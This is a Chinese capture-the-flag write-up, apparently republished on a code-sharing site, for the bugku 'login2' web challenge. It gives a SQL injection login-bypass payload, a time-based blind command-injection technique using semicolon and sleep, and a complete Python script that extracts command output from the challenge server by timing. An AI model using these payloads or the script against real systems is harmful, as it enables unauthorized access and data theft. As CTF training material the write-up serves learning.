概述
题目地址
提示:命令执行
-
打开是一个登入框,猜测是SQL注入。
-
登入一下发现可疑字符
-
base64 解密为
$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}
-
审计这段小代码,发现可以输入不存在用户,从而登入成功。
命令:username=Venus'union select 1,'0bdc508a17811a3a860d32749ad44e4b'#&password=Venus
0bdc508a17811a3a860d32749ad44e4b 为MD5 加密后的Venus
-
登入后返回监测监控页面
-
这里输入单个有回显,如果输入:
Venus|ls ---------- # 没有任何回显
Venus&ls ---------- # 没有任何回显
Venus;ls ---------- # 有回显
- 使用" ; ",通过sql盲注的方法来判断
c=Venus;a=`ls`;b='c';if [ ${a:0:1} == $b ];then sleep 2;fi
采用bash命令,通过对比字符串中一个一个的字符与页面延迟来确定我们需要的内容
b=‘c’ ----------- 代表ls 命令后返回的字符,如果是 c 页面就会延迟两秒在返回
${a:0:1} ----------- 0 代表 比如 ls 的文件为 flag ,0 则代表 猜测 f 这个字符, 如果输入1就代表判断 l 这个字符
fi ---------- 代表 if 语句的结束
- 使用脚本开跑,当前目录就只有 css index.php login.php
- 没找到flag,那就使用find / -name “flag” 来查找一下,找到 flag 在根目录
- 使用 cat /flag 拿到结果
- 最后附上脚本
import requests
url = 'http://114.67.246.176:16619/index.php'
s = requests.session()
allString = '''1234567890~`!@#$%^&*()-_=+[]{};:'"|,<.>/?qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'''
database = ''
flag = 1
comm = input('输入指令:')
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Referer': 'http://114.67.246.176:16619/index.php',
}
cookies = dict(PHPSESSID='o6fnka50kbj2mh9u5k27paijd6')
for i in range(0, 100):
# 根据自身需要改长度,如果空格连续出现四次以上,就说明后续没内容了
for j in allString:
if j == "^":
j = " "
data = {'c': "123;a=`" + comm + "`;b=' ';if [ ${a:" + str(i) + ":1} == $b ];then sleep 4;fi"}
else:
data = {'c': "123;a=`" + comm + "`;b='" + str(j) + "';if [ ${a:" + str(i) + ":1} == $b ];then sleep 4;fi"}
r = requests.post(url, data=data, headers=headers, cookies=cookies)
t = r.elapsed.total_seconds()
# print(r.text)
print(database + j + ' 的时间'+ ' 是 ' + str(t))
if t >= 3:
database = database + j
print(str(i) + ' 为 ' + j)
break
elif t < 3 and j == 'M':
flag = 0
break
if flag == 0:
break
print('', database)
最后
以上就是踏实枫叶为你收集整理的bugku-web-login2的全部内容,希望文章能够帮你解决bugku-web-login2所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复